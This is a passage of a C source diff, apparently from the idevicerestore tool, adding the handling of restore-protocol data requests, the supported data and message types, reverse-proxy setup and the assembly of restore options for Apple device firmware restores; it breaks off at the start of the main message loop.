+ else if (!strcmp(type, "BasebandUpdaterOutputData")) {
+ if (restore_handle_baseband_updater_output_data(client, message) < 0) {
+ logger(LL_ERROR, "Unable to send BasebandUpdaterOutputData data\n");
+ return -1;
+ }
+ }
+
+ else if (!strcmp(type, "URLAsset")) {
+ if (restore_send_url_asset(client, message) < 0) {
+ logger(LL_ERROR, "Unable to send URLAsset data\n");
+ return -1;
+ }
+ }
+
+ else if (!strcmp(type, "StreamedImageDecryptionKey")) {
+ if (restore_send_streamed_image_decryption_key(client, message) < 0) {
+ logger(LL_ERROR, "Unable to send StreamedImageDecryptionKey data\n");
+ return -1;
+ }
+ }
+
+ else if (!strcmp(type, "RecoveryOSFileAssetImage")) {
+ if (restore_send_recovery_os_file_asset_image(client, message) < 0) {
+ logger(LL_ERROR, "Unable to send RecoveryOSFileImageAssetImage data\n");
+ return -1;
+ }
+ }
+
+ else if (!strcmp(type, "RecoveryOSIBootFWFilesImages")) {
+ if (restore_send_recovery_os_iboot_fw_files_images(client, message) < 0) {
+ logger(LL_ERROR, "Unable to send RecoveryOSIBootFWFilesImages data\n");
+ return -1;
+ }
+ }
+
+ else if (!strcmp(type, "RecoveryOSImage")) {
+ if (restore_send_recovery_os_image(client, message) < 0) {
+ logger(LL_ERROR, "Unable to send RecoveryOSImage data\n");
+ return -1;
+ }
+ }
+
+ else if (!strcmp(type, "RecoveryOSVersionData")) {
+ if (restore_send_recovery_os_version_data(client, message) < 0) {
+ logger(LL_ERROR, "Unable to send RecoveryOSVersionData data\n");
+ return -1;
+ }
+ }
+
+ else {
+ // Unknown DataType!!
+ logger(LL_ERROR, "Unknown data request '%s' received\n", type);
+ logger_dump_plist(LL_VERBOSE, message, 1);
+ }
+ }
+ return 0;
+}
+
+struct _restore_async_args {
+ struct idevicerestore_client_t* client;
+ plist_t message;
+};
+
+static void* _restore_handle_async_data_request(void* args)
+{
+ struct _restore_async_args* async_args = (struct _restore_async_args*)args;
+ struct idevicerestore_client_t* client = async_args->client;
+ plist_t message = async_args->message;
+ free(async_args);
+
+ int err = restore_handle_data_request_msg(client, message);
+ if (err < 0) {
+ client->async_err = err;
+ client->flags |= FLAG_QUIT;
+ }
+
+ plist_free(message);
+ return NULL;
+}
+
+static int restore_handle_restored_crash(struct idevicerestore_client_t* client, plist_t message)
+{
+ plist_t backtrace = plist_dict_get_item(message, "RestoredBacktrace");
+ logger(LL_INFO, "*** restored crashed, backtrace following ***\n");
+ if (PLIST_IS_STRING(backtrace)) {
+ logger(LL_INFO, "%s\n", plist_get_string_ptr(backtrace, NULL));
+ } else if (PLIST_IS_ARRAY(backtrace)) {
+ uint32_t i = 0;
+ for (i = 0; i < plist_array_get_size(backtrace); i++) {
+ plist_t line = plist_array_get_item(backtrace, i);
+ logger(LL_INFO, "\t%s\n", plist_get_string_ptr(line, NULL));
+ }
+ } else {
+ logger_dump_plist(LL_VERBOSE, message, 1);
+ }
+ return 0;
+}
+
+static int restore_handle_async_wait(struct idevicerestore_client_t* client, plist_t message)
+{
+ logger(LL_DEBUG, "AsyncWait\n");
+ logger_dump_plist(LL_DEBUG, message, 1);
+ return 0;
+}
+
+static int restore_handle_restore_attestation(struct idevicerestore_client_t* client, plist_t message)
+{
+ logger_dump_plist(LL_DEBUG, message, 1);
+ logger(LL_DEBUG, "Sending RestoreShouldAttest: false\n");
+ plist_t dict = plist_new_dict();
+ plist_dict_set_item(dict, "RestoreShouldAttest", plist_new_bool(0));
+ restored_error_t restore_error = restored_send(client->restore->client, dict);
+ plist_free(dict);
+ if (restore_error != RESTORE_E_SUCCESS) {
+ logger(LL_ERROR, "Unable to send RestoreShouldAttest (%d)\n", restore_error);
+ return -1;
+ }
+ return 0;
+}
+
+static void _restore_calculate_recovery_os_partition_size(struct idevicerestore_client_t* client, uint64_t* min_size, uint64_t* max_size)
+{
+ const char* asset_list[] = { "OS", "KernelCache", "DeviceTree", "iBEC", "AppleLogo", "StaticTrustCache", "iBootData", "Diags", "Ap,SystemVolumeCanonicalMetadata", "SystemVolume", "BaseSystemVolume", "Ap,BaseSystemTrustCache", "AVISP1,RTKitOS", NULL };
+
+ if (min_size) *min_size = 356;
+ if (max_size) *max_size = 420;
+
+ double total_size = 0;
+ plist_t firmware_items = plist_new_dict();
+ plist_t build_id_manifest = plist_dict_get_item(client->recovery_variant, "Manifest");
+ plist_dict_iter iter = NULL;
+ plist_dict_new_iter(build_id_manifest, &iter);
+ if (iter) {
+ char *component = NULL;
+ plist_t manifest_entry;
+ do {
+ component = NULL;
+ manifest_entry = NULL;
+ plist_dict_next_item(build_id_manifest, iter, &component, &manifest_entry);
+ if (component && PLIST_IS_DICT(manifest_entry) && plist_dict_get_item(firmware_items, component) == NULL) {
+ int add_image = 0;
+ int i = 0;
+ while (asset_list[i]) {
+ if (!strcmp(asset_list[i], component)) {
+ add_image = 1;
+ break;
+ }
+ i++;
+ }
+ plist_t fw_node;
+ fw_node = plist_access_path(manifest_entry, 2, "Info", "IsLoadedByiBoot");
+ if (fw_node && plist_get_node_type(fw_node) == PLIST_BOOLEAN) {
+ uint8_t loaded_by_iboot = 0;
+ plist_get_bool_val(fw_node, &loaded_by_iboot);
+ if (loaded_by_iboot) {
+ add_image = 1;
+ }
+ }
+ if (add_image) {
+ plist_t p_path = plist_access_path(manifest_entry, 2, "Info", "Path");
+ if (p_path) {
+ const char* path = plist_get_string_ptr(p_path, NULL);
+ uint64_t fsize = 0;
+ if (ipsw_get_file_size(client->ipsw, path, &fsize) == 0) {
+ logger(LL_DEBUG, "%s: Adding %s (%s, %" PRIu64 " bytes)\n", __func__, component, path, fsize);
+ total_size += (double)fsize / 0x100000;
+ }
+ }
+ }
+ }
+ free(component);
+ } while (manifest_entry);
+ plist_mem_free(iter);
+ }
+ total_size = ceil(total_size);
+ if (min_size) *min_size = total_size * 1.05 + 25;
+ if (max_size) *max_size = total_size * 1.25 + 25;
+}
+
+// Extracted from ac2
+plist_t restore_supported_data_types()
+{
+ plist_t dict = plist_new_dict();
+ plist_dict_set_item(dict, "AuthInstallCACert", plist_new_bool(1));
+ plist_dict_set_item(dict, "BasebandBootData", plist_new_bool(0));
+ plist_dict_set_item(dict, "BasebandData", plist_new_bool(0));
+ plist_dict_set_item(dict, "BasebandStackData", plist_new_bool(0));
+ plist_dict_set_item(dict, "BasebandUpdaterOutputData", plist_new_bool(0));
+ plist_dict_set_item(dict, "BootabilityBundle", plist_new_bool(0));
+ plist_dict_set_item(dict, "BootabilityBundleV2", plist_new_bool(0));
+ plist_dict_set_item(dict, "BuildIdentityDict", plist_new_bool(0));
+ plist_dict_set_item(dict, "BuildIdentityDictV2", plist_new_bool(0));
+ plist_dict_set_item(dict, "Cryptex1LocalPolicy", plist_new_bool(1));
+ plist_dict_set_item(dict, "DataType", plist_new_bool(0));
+ plist_dict_set_item(dict, "DeviceRestoreInfoPreflight", plist_new_bool(0));
+ plist_dict_set_item(dict, "DiagData", plist_new_bool(0));
+ plist_dict_set_item(dict, "EANData", plist_new_bool(0));
+ plist_dict_set_item(dict, "FDRMemoryCommit", plist_new_bool(0));
+ plist_dict_set_item(dict, "FDRTrustData", plist_new_bool(0));
+ plist_dict_set_item(dict, "FUDData", plist_new_bool(0));
+ plist_dict_set_item(dict, "FileData", plist_new_bool(0));
+ plist_dict_set_item(dict, "FileDataDone", plist_new_bool(0));
+ plist_dict_set_item(dict, "FirmwareUpdaterData", plist_new_bool(0));
+ plist_dict_set_item(dict, "FirmwareUpdaterDataV2", plist_new_bool(0));
+ plist_dict_set_item(dict, "FirmwareUpdaterDataV3", plist_new_bool(1));
+ plist_dict_set_item(dict, "FirmwareUpdaterPreflight", plist_new_bool(1));
+ plist_dict_set_item(dict, "GrapeFWData", plist_new_bool(0));
+ plist_dict_set_item(dict, "HPMFWData", plist_new_bool(0));
+ plist_dict_set_item(dict, "HostSystemTime", plist_new_bool(1));
+ plist_dict_set_item(dict, "KernelCache", plist_new_bool(0));
+ plist_dict_set_item(dict, "MessageUseStreamedImageFile", plist_new_bool(1));
+ plist_dict_set_item(dict, "NORData", plist_new_bool(0));
+ plist_dict_set_item(dict, "NitrogenFWData", plist_new_bool(1));
+ plist_dict_set_item(dict, "OpalFWData", plist_new_bool(0));
+ plist_dict_set_item(dict, "OverlayRootDataCount", plist_new_bool(0));
+ plist_dict_set_item(dict, "OverlayRootDataForKey", plist_new_bool(1));
+ plist_dict_set_item(dict, "OverlayRootDataForKeyIndex", plist_new_bool(1));
+ plist_dict_set_item(dict, "PeppyFWData", plist_new_bool(1));
+ plist_dict_set_item(dict, "PersonalizedBootObjectV3", plist_new_bool(0));
+ plist_dict_set_item(dict, "PersonalizedData", plist_new_bool(1));
+ plist_dict_set_item(dict, "ProvisioningData", plist_new_bool(0));
+ plist_dict_set_item(dict, "RamdiskFWData", plist_new_bool(1));
+ plist_dict_set_item(dict, "ReceiptManifest", plist_new_bool(1));
+ plist_dict_set_item(dict, "RecoveryOSASRImage", plist_new_bool(1));
+ plist_dict_set_item(dict, "RecoveryOSAppleLogo", plist_new_bool(1));
+ plist_dict_set_item(dict, "RecoveryOSDeviceTree", plist_new_bool(1));
+ plist_dict_set_item(dict, "RecoveryOSFileAssetImage", plist_new_bool(1));
+ plist_dict_set_item(dict, "RecoveryOSIBEC", plist_new_bool(1));
+ plist_dict_set_item(dict, "RecoveryOSIBootFWFilesImages", plist_new_bool(1));
+ plist_dict_set_item(dict, "RecoveryOSImage", plist_new_bool(1));
+ plist_dict_set_item(dict, "RecoveryOSKernelCache", plist_new_bool(1));
+ plist_dict_set_item(dict, "RecoveryOSLocalPolicy", plist_new_bool(1));
+ plist_dict_set_item(dict, "RecoveryOSOverlayRootDataCount", plist_new_bool(0));
+ plist_dict_set_item(dict, "RecoveryOSRootTicketData", plist_new_bool(1));
+ plist_dict_set_item(dict, "RecoveryOSStaticTrustCache", plist_new_bool(1));
+ plist_dict_set_item(dict, "RecoveryOSVersionData", plist_new_bool(1));
+ plist_dict_set_item(dict, "RestoreLocalPolicy", plist_new_bool(1));
+ plist_dict_set_item(dict, "RootData", plist_new_bool(0));
+ plist_dict_set_item(dict, "RootTicket", plist_new_bool(0));
+ plist_dict_set_item(dict, "S3EOverride", plist_new_bool(0));
+ plist_dict_set_item(dict, "SourceBootObjectV3", plist_new_bool(0));
+ plist_dict_set_item(dict, "SourceBootObjectV4", plist_new_bool(0));
+ plist_dict_set_item(dict, "SourceBootObjectV5", plist_new_bool(0));
+ plist_dict_set_item(dict, "SsoServiceTicket", plist_new_bool(0));
+ plist_dict_set_item(dict, "StockholmPostflight", plist_new_bool(0));
+ plist_dict_set_item(dict, "SystemImageCanonicalMetadata", plist_new_bool(0));
+ plist_dict_set_item(dict, "SystemImageData", plist_new_bool(0));
+ plist_dict_set_item(dict, "SystemImageRootHash", plist_new_bool(0));
+ plist_dict_set_item(dict, "URLAsset", plist_new_bool(1));
+ plist_dict_set_item(dict, "USBCFWData", plist_new_bool(0));
+ plist_dict_set_item(dict, "USBCOverride", plist_new_bool(0));
+ plist_dict_set_item(dict, "UpdateVolumeOverlayRootDataCount", plist_new_bool(1));
+ return dict;
+}
+
+// Extracted from ac2
+plist_t restore_supported_message_types()
+{
+ plist_t dict = plist_new_dict();
+ plist_dict_set_item(dict, "AsyncDataRequestMsg", plist_new_bool(1));
+ plist_dict_set_item(dict, "AsyncWait", plist_new_bool(1));
+ plist_dict_set_item(dict, "BBUpdateStatusMsg", plist_new_bool(0));
+ plist_dict_set_item(dict, "CheckpointMsg", plist_new_bool(1));
+ plist_dict_set_item(dict, "CrashLog", plist_new_bool(1));
+ plist_dict_set_item(dict, "DataRequestMsg", plist_new_bool(0));
+ plist_dict_set_item(dict, "FDRSubmit", plist_new_bool(1));
+ plist_dict_set_item(dict, "MsgType", plist_new_bool(0));
+ plist_dict_set_item(dict, "PreviousRestoreLogMsg", plist_new_bool(0));
+ plist_dict_set_item(dict, "ProgressMsg", plist_new_bool(0));
+ plist_dict_set_item(dict, "ProvisioningAck", plist_new_bool(0));
+ plist_dict_set_item(dict, "ProvisioningInfo", plist_new_bool(0));
+ plist_dict_set_item(dict, "ProvisioningStatusMsg", plist_new_bool(0));
+ plist_dict_set_item(dict, "ReceivedFinalStatusMsg", plist_new_bool(0));
+ plist_dict_set_item(dict, "RestoreAttestation", plist_new_bool(1));
+ plist_dict_set_item(dict, "RestoreProtocol", plist_new_bool(1));
+ plist_dict_set_item(dict, "RestoredCrash", plist_new_bool(1));
+ plist_dict_set_item(dict, "StatusMsg", plist_new_bool(0));
+ return dict;
+}
+
+#ifdef HAVE_REVERSE_PROXY
+static void rp_log_cb(reverse_proxy_client_t client, const char* log_msg, void* user_data)
+{
+ logger(LL_VERBOSE, "ReverseProxy[%s]: %s\n", (reverse_proxy_get_type(client) == RP_TYPE_CTRL) ? "Ctrl" : "Conn", log_msg);
+}
+
+static void rp_status_cb(reverse_proxy_client_t client, reverse_proxy_status_t status, const char* status_msg, void* user_data)
+{
+ logger(LL_VERBOSE, "ReverseProxy[%s]: (status=%d) %s\n", (reverse_proxy_get_type(client) == RP_TYPE_CTRL) ? "Ctrl" : "Conn", status, status_msg);
+}
+
+static int restore_wait_for_reconnect(struct idevicerestore_client_t* client)
+{
+ int i;
+ logger(LL_INFO, "Device is not responding, waiting for it to reappear on USB...\n");
+ if (client->restore->client) {
+ restored_client_free(client->restore->client);
+ client->restore->client = NULL;
+ }
+ if (client->restore->device) {
+ idevice_free(client->restore->device);
+ client->restore->device = NULL;
+ }
+ for (i = 0; i < 10; i++) {
+ sleep(1);
+ if (restore_open_with_timeout(client) == 0) {
+ logger(LL_INFO, "Device reappeared, reconnected to restored\n");
+ return 0;
+ }
+ }
+ logger(LL_ERROR, "Device did not reappear after 10 seconds\n");
+ return -1;
+}
+#endif
+
+int restore_device(struct idevicerestore_client_t* client, plist_t build_identity)
+{
+ int err = 0;
+ char* type = NULL;
+ plist_t node = NULL;
+ plist_t message = NULL;
+ plist_t hwinfo = NULL;
+ idevice_t device = NULL;
+ restored_client_t restore = NULL;
+ restored_error_t restore_error = RESTORE_E_SUCCESS;
+#ifndef HAVE_REVERSE_PROXY
+ THREAD_T fdr_thread = THREAD_T_NULL;
+#endif
+
+ restore_finished = 0;
+
+ // open our connection to the device and verify we're in restore mode
+ err = restore_open_with_timeout(client);
+ if (err < 0) {
+ logger(LL_ERROR, "Unable to open device in restore mode\n");
+ return (err == -2) ? -1: -2;
+ }
+ logger(LL_INFO, "Device %s has successfully entered restore mode\n", client->udid);
+
+ client->restore->build_identity = build_identity;
+ restore = client->restore->client;
+ device = client->restore->device;
+
+ restore_error = restored_query_value(restore, "HardwareInfo", &hwinfo);
+ if (restore_error == RESTORE_E_SUCCESS) {
+ uint64_t i = 0;
+ uint8_t b = 0;
+ logger(LL_INFO, "Hardware Information:\n");
+
+ node = plist_dict_get_item(hwinfo, "BoardID");
+ if (node && plist_get_node_type(node) == PLIST_UINT) {
+ plist_get_uint_val(node, &i);
+ logger(LL_INFO, "BoardID: %d\n", (int)i);
+ }
+
+ node = plist_dict_get_item(hwinfo, "ChipID");
+ if (node && plist_get_node_type(node) == PLIST_UINT) {
+ plist_get_uint_val(node, &i);
+ logger(LL_INFO, "ChipID: %d\n", (int)i);
+ }
+
+ node = plist_dict_get_item(hwinfo, "UniqueChipID");
+ if (node && plist_get_node_type(node) == PLIST_UINT) {
+ plist_get_uint_val(node, &i);
+ logger(LL_INFO, "UniqueChipID: %" PRIu64 "\n", i);
+ }
+
+ node = plist_dict_get_item(hwinfo, "ProductionMode");
+ if (node && plist_get_node_type(node) == PLIST_BOOLEAN) {
+ plist_get_bool_val(node, &b);
+ logger(LL_INFO, "ProductionMode: %s\n", (b==1) ? "true":"false");
+ }
+ plist_free(hwinfo);
+ }
+
+ restore_error = restored_query_value(restore, "SavedDebugInfo", &hwinfo);
+ if (restore_error == RESTORE_E_SUCCESS) {
+ char* sval = NULL;
+
+ node = plist_dict_get_item(hwinfo, "PreviousExitStatus");
+ if (node && plist_get_node_type(node) == PLIST_STRING) {
+ plist_get_string_val(node, &sval);
+ logger(LL_INFO, "Previous restore exit status: %s\n", sval);
+ free(sval);
+ sval = NULL;
+ }
+
+ node = plist_dict_get_item(hwinfo, "USBLog");
+ if (node && plist_get_node_type(node) == PLIST_STRING) {
+ plist_get_string_val(node, &sval);
+ logger(LL_INFO, "USB log is available:\n%s\n", sval);
+ free(sval);
+ sval = NULL;
+ }
+
+ node = plist_dict_get_item(hwinfo, "PanicLog");
+ if (node && plist_get_node_type(node) == PLIST_STRING) {
+ plist_get_string_val(node, &sval);
+ logger(LL_INFO, "Panic log is available:\n%s\n", sval);
+ free(sval);
+ sval = NULL;
+ }
+ plist_free(hwinfo);
+ }
+
+ if (plist_dict_get_item(client->tss, "BBTicket")) {
+ client->restore->bbtss = plist_copy(client->tss);
+ }
+
+#ifdef HAVE_REVERSE_PROXY
+ logger(LL_INFO, "Starting Reverse Proxy\n");
+ reverse_proxy_client_t rproxy = NULL;
+ int rp_attempt;
+ for (rp_attempt = 0; rp_attempt < 2; rp_attempt++) {
+ if (reverse_proxy_client_create_with_port(device, &rproxy, REVERSE_PROXY_DEFAULT_PORT) != REVERSE_PROXY_E_SUCCESS) {
+ logger(LL_ERROR, "Could not create Reverse Proxy\n");
+ } else {
+ if (client->flags & FLAG_DEBUG) {
+ reverse_proxy_client_set_log_callback(rproxy, rp_log_cb, NULL);
+ }
+ reverse_proxy_client_set_status_callback(rproxy, rp_status_cb, NULL);
+ if (reverse_proxy_client_start_proxy(rproxy, 2) != REVERSE_PROXY_E_SUCCESS) {
+ logger(LL_ERROR, "Device didn't accept new reverse proxy protocol, trying to use old one\n");
+ reverse_proxy_client_free(rproxy);
+ rproxy = NULL;
+ if (reverse_proxy_client_create_with_port(device, &rproxy, REVERSE_PROXY_DEFAULT_PORT) != REVERSE_PROXY_E_SUCCESS) {
+ logger(LL_ERROR, "Could not create Reverse Proxy\n");
+ } else {
+ if (client->flags & FLAG_DEBUG) {
+ reverse_proxy_client_set_log_callback(rproxy, rp_log_cb, NULL);
+ }
+ reverse_proxy_client_set_status_callback(rproxy, rp_status_cb, NULL);
+ if (reverse_proxy_client_start_proxy(rproxy, 1) != REVERSE_PROXY_E_SUCCESS) {
+ logger(LL_ERROR, "ReverseProxy: Device didn't accept old protocol, giving up\n");
+ }
+ }
+ }
+ }
+ if (rproxy) {
+ break;
+ }
+ if (rp_attempt == 0 && restore_wait_for_reconnect(client) == 0) {
+ device = client->restore->device;
+ restore = client->restore->client;
+ continue;
+ }
+ break;
+ }
+#else
+ fdr_client_t fdr_control_channel = NULL;
+ logger(LL_INFO, "Starting FDR listener thread\n");
+ if (!fdr_connect(device, FDR_CTRL, &fdr_control_channel)) {
+ if(thread_new(&fdr_thread, fdr_listener_thread, fdr_control_channel)) {
+ logger(LL_ERROR, "Failed to start FDR listener thread\n");
+ fdr_thread = THREAD_T_NULL; /* undefined after failure */
+ }
+ } else {
+ logger(LL_ERROR, "Failed to start FDR Ctrl channel\n");
+ // FIXME: We might want to return failure here as it will likely fail
+ }
+#endif
+
+ plist_t opts = plist_new_dict();
+ // FIXME: required?
+ //plist_dict_set_item(opts, "AuthInstallRestoreBehavior", plist_new_string("Erase"));
+ plist_dict_set_item(opts, "AutoBootDelay", plist_new_uint(0));
+
+ if (client->firmware_preflight_info) {
+ plist_t bbus = plist_copy(client->firmware_preflight_info);
+
+ plist_dict_remove_item(bbus, "FusingStatus");
+ plist_dict_remove_item(bbus, "PkHash");
+
+ plist_dict_set_item(opts, "BBUpdaterState", bbus);
+
+ plist_dict_copy_data(opts, client->firmware_preflight_info, "BasebandNonce", "Nonce");
+ }
+
+ plist_dict_set_item(opts, "SupportedDataTypes", restore_supported_data_types());
+ plist_dict_set_item(opts, "SupportedMessageTypes", restore_supported_message_types());
+
+ // FIXME: Should be adjusted for update behaviors
+ if (client->macos_variant) {
+ plist_dict_set_item(opts, "AddSystemPartitionPadding", plist_new_bool(1));
+ plist_dict_set_item(opts, "AllowUntetheredRestore", plist_new_bool(0));
+ plist_dict_set_item(opts, "AuthInstallEnableSso", plist_new_bool(0));
+ char *macos_variant = NULL;
+ int ret = extract_macos_variant(build_identity, &macos_variant);
+ if (ret == 0) {
+ plist_dict_set_item(opts, "AuthInstallRecoveryOSVariant", plist_new_string(macos_variant));
+ free(macos_variant);
+ }
+ plist_dict_set_item(opts, "AuthInstallRestoreBehavior", plist_new_string(client->flags & FLAG_ERASE ? "Erase": "Update"));
+ plist_dict_set_item(opts, "AutoBootDelay", plist_new_uint(0));
+ plist_dict_set_item(opts, "BasebandUpdaterOutputPath", plist_new_bool(1));
+ plist_dict_set_item(opts, "DisableUserAuthentication", plist_new_bool(1));
+ plist_dict_set_item(opts, "FitSystemPartitionToContent", plist_new_bool(1));
+ plist_dict_set_item(opts, "FlashNOR", plist_new_bool(1));
+ plist_dict_set_item(opts, "FormatForAPFS", plist_new_bool(1));
+ plist_dict_set_item(opts, "FormatForLwVM", plist_new_bool(0));
+ plist_dict_set_item(opts, "InstallDiags", plist_new_bool(0));
+ plist_dict_set_item(opts, "InstallRecoveryOS", plist_new_bool(1));
+ plist_dict_set_item(opts, "MacOSSwapPerformed", plist_new_bool(1));
+ plist_dict_set_item(opts, "MacOSVariantPresent", plist_new_bool(1));
+ plist_dict_set_item(opts, "MinimumBatteryVoltage", plist_new_uint(0)); // FIXME: Should be adjusted for M1 macbooks (if needed)
+ plist_dict_set_item(opts, "RecoveryOSUnpack", plist_new_bool(1));
+ plist_dict_set_item(opts, "ShouldRestoreSystemImage", plist_new_bool(1));
+ plist_dict_set_item(opts, "SkipPreflightPersonalization", plist_new_bool(0));
+ plist_dict_set_item(opts, "UpdateBaseband", plist_new_bool(1));
+ // FIXME: I don't know where this number comes from yet. It seems like it matches this part of the build identity:
+ // <key>OSVarContentSize</key>
+ // <integer>573751296</integer>
+ // But i can't seem to find a plausible formula
+ // It did work with multiple macOS versions
+ plist_dict_set_item(opts, "recoveryOSPartitionSize", plist_new_uint(58201));
+ plist_t msp = plist_access_path(build_identity, 2, "Info", "MinimumSystemPartition");
+ if (msp) {
+ plist_dict_set_item(opts, "SystemPartitionSize", plist_copy(msp));
+ }
+ } else {
+ // FIXME: new on iOS 5 ?
+ plist_dict_set_item(opts, "BootImageType", plist_new_string("User"));
+ // FIXME: required?
+ //plist_dict_set_item(opts, "BootImageFile", plist_new_string("018-7923-347.dmg"));
+ plist_dict_set_item(opts, "DFUFileType", plist_new_string("RELEASE"));
+ plist_dict_set_item(opts, "DataImage", plist_new_bool(0));
+ // FIXME: not required for iOS 5?
+ //plist_dict_set_item(opts, "DeviceTreeFile", plist_new_string("DeviceTree.k48ap.img3"));
+ plist_dict_set_item(opts, "FirmwareDirectory", plist_new_string("."));
+ // FIXME: usable if false? (-x parameter)
+ plist_dict_set_item(opts, "FlashNOR", plist_new_bool(1));
+ // FIXME: not required for iOS 5?
+ //plist_dict_set_item(opts, "KernelCacheFile", plist_new_string("kernelcache.release.k48"));
+ // FIXME: new on iOS 5 ?
+ plist_dict_set_item(opts, "KernelCacheType", plist_new_string("Release"));
+ // FIXME: not required for iOS 5?
+ //plist_dict_set_item(opts, "NORImagePath", plist_new_string("."));
+ // FIXME: new on iOS 5 ?
+ plist_dict_set_item(opts, "NORImageType", plist_new_string("production"));
+ // FIXME: not required for iOS 5?
+ //plist_dict_set_item(opts, "PersonalizedRestoreBundlePath", plist_new_string("/tmp/Per2.tmp"));
+ plist_dict_set_item(opts, "RestoreBundlePath", plist_new_string("/tmp/Per2.tmp"));
+ // FIXME: not required for iOS 5?
+ //plist_dict_set_item(opts, "SourceRestoreBundlePath", plist_new_string("/tmp"));
+ // FIXME: new on iOS 5 ?
+ plist_dict_set_item(opts, "SystemImageType", plist_new_string("User"));
+ // FIXME: does this have any effect actually?
+ plist_dict_set_item(opts, "UpdateBaseband", plist_new_bool(1));
+ plist_dict_set_item(opts, "InstallDiags", plist_new_bool(0));
+ if (client->recovery_variant) {
+ plist_dict_set_item(opts, "InstallRecoveryOS", plist_new_bool(1));
+ plist_dict_set_item(opts, "RecoveryOSBundlePath", plist_new_string("/tmp/Per2.tmp"));
+ plist_t recovery_variant = plist_access_path(client->recovery_variant, 2, "Info", "Variant");
+ plist_dict_set_item(opts, "AuthInstallRecoveryOSVariant", plist_copy(recovery_variant));
+ uint64_t max_size = 0;
+ uint64_t min_size = 0;
+ _restore_calculate_recovery_os_partition_size(client, &min_size, &max_size);
+ logger(LL_INFO, "Calculated recoveryOSPartitionSize as %" PRIu64 " MB\n", min_size);
+ logger(LL_INFO, "Calculated recoveryOSMaxPartitionSize as %" PRIu64 " MB\n", max_size);
+ plist_dict_set_item(opts, "recoveryOSMaxPartitionSize", plist_new_uint(max_size));
+ plist_dict_set_item(opts, "recoveryOSPartitionSize", plist_new_uint(min_size));
+ }
+
+ if (plist_dict_get_bool(client->parameters, "RequiresNonceSlot")) {
+ logger(LL_INFO, "Device will use nonce slots.\n");
+ } else {
+ logger(LL_INFO, "Device will not use nonce slots.\n");
+ }
+
+ // Added for iOS 18.0 beta 1
+ plist_dict_set_item(opts, "HostHasFixFor99053849", plist_new_bool(1));
+ plist_dict_set_item(opts, "SystemImageFormat", plist_new_string("AEAWrappedDiskImage"));
+ plist_dict_set_item(opts, "WaitForDeviceConnectionToFinishStateMachine", plist_new_bool(0));
+
+ plist_t sep = plist_access_path(build_identity, 3, "Manifest", "SEP", "Info");
+ if (sep) {
+ node = plist_dict_get_item(sep, "RequiredCapacity");
+ if (node && plist_get_node_type(node) == PLIST_STRING) {
+ char* sval = NULL;
+ plist_get_string_val(node, &sval);
+ logger(LL_DEBUG, "TZ0RequiredCapacity: %s\n", sval);
+ plist_dict_set_item(opts, "TZ0RequiredCapacity", plist_copy(node));
+ free(sval);
+ sval = NULL;
+ }
+ }
+ // FIXME: not required for iOS 5?
+ //plist_dict_set_item(opts, "UserLocale", plist_new_string("en_US"));
+ /* this is mandatory on iOS 7+ to allow restore from normal mode */
+ plist_dict_set_item(opts, "PersonalizedDuringPreflight", plist_new_bool(1));
+ }
+
+ // Added for iOS 18.0 and macOS 15.0
+ plist_t async_data_types = plist_new_dict();
+ plist_dict_set_item(async_data_types, "BasebandData", plist_new_bool(0));
+ plist_dict_set_item(async_data_types, "RecoveryOSASRImage", plist_new_bool(0));
+ plist_dict_set_item(async_data_types, "StreamedImageDecryptionKey", plist_new_bool(0));
+ plist_dict_set_item(async_data_types, "SystemImageData", plist_new_bool(0));
+ plist_dict_set_item(async_data_types, "URLAsset", plist_new_bool(1));
+ plist_dict_set_item(opts, "SupportedAsyncDataTypes", async_data_types);
+
+ plist_dict_set_item(opts, "RootToInstall", plist_new_bool(0));
+ char* guid = generate_guid();
+ if (guid) {
+ plist_dict_set_item(opts, "UUID", plist_new_string(guid));
+ free(guid);
+ }
+ plist_dict_set_item(opts, "CreateFilesystemPartitions", plist_new_bool(1));
+ plist_dict_set_item(opts, "SystemImage", plist_new_bool(1));
+ if (client->restore_boot_args) {
+ plist_dict_set_item(opts, "RestoreBootArgs", plist_new_string(client->restore_boot_args));
+ }
+ plist_t spp = plist_access_path(build_identity, 2, "Info", "SystemPartitionPadding");
+ if (spp) {
+ spp = plist_copy(spp);
+ } else {
+ spp = plist_new_dict();
+ plist_dict_set_item(spp, "1024", plist_new_uint(1280));
+ plist_dict_set_item(spp, "128", plist_new_uint(1280));
+ plist_dict_set_item(spp, "16", plist_new_uint(160));
+ plist_dict_set_item(spp, "256", plist_new_uint(1280));
+ plist_dict_set_item(spp, "32", plist_new_uint(320));
+ plist_dict_set_item(spp, "512", plist_new_uint(1280));
+ plist_dict_set_item(spp, "64", plist_new_uint(640));
+ plist_dict_set_item(spp, "768", plist_new_uint(1280));
+ plist_dict_set_item(spp, "8", plist_new_uint(80));
+ }
+ plist_dict_set_item(opts, "SystemPartitionPadding", spp);
+
+ // start the restore process
+ restore_error = restored_start_restore(restore, opts, client->restore->protocol_version);
+ if (restore_error != RESTORE_E_SUCCESS) {
+ logger(LL_ERROR, "Unable to start the restore process\n");
+ plist_free(opts);
+ restore_client_free(client);
+ return -1;
+ }
+ plist_free(opts);
+ idevicerestore_progress(client, RESTORE_STEP_PREPARE, 1.0);
+
+ // this is the restore process loop, it reads each message in from
+ // restored and passes that data on to it's specific handler
+ while (!(client->flags & FLAG_QUIT)) {
+ if (err != 0 && client->flags & FLAG_IGNORE_ERRORS) {
+ logger(LL_WARNING, "Attempting to continue after critical error, restore might fail...\n");
+ err = 0;
+ }
+ // finally, if any of these message handlers returned -1 then we encountered
+ // an unrecoverable error, so we need to bail.
+ if (err < 0) {
+ logger(LL_ERROR, "Unable to successfully restore device\n");
+ client->flags |= FLAG_QUIT;
+ }
+
+ restore_error = restored_receive(restore, &message);
+#ifdef HAVE_RESTORE_E_RECEIVE_TIMEOUT
+ if (restore_error == RESTORE_E_RECEIVE_TIMEOUT) {
+ logger(LL_DEBUG, "No data to read (timeout)\n");
+ message = NULL;
+ continue;
+ } else if (restore_error != RESTORE_E_SUCCESS) {
+ logger(LL_ERROR, "Could not read data (%d). Aborting.\n", restore_error);
+ err = -11;
+ break;
+ }
+#else
+ if (restore_error != RESTORE_E_SUCCESS) {
+ logger(LL_DEBUG, "No data to read\n");
+ message = NULL;
+ continue;
+ }
+#endif
+
+ // discover what kind of message has been received
+ node = plist_dict_get_item(message, "MsgType");
+ if (!node || plist_get_node_type(node) != PLIST_STRING) {
+ logger(LL_DEBUG, "Unknown message received:\n");
+ logger_dump_plist(LL_DEBUG, message, 1);
+ plist_free(message);
+ message = NULL;
+ continue;
+ }
+ plist_get_string_val(node, &type);
+
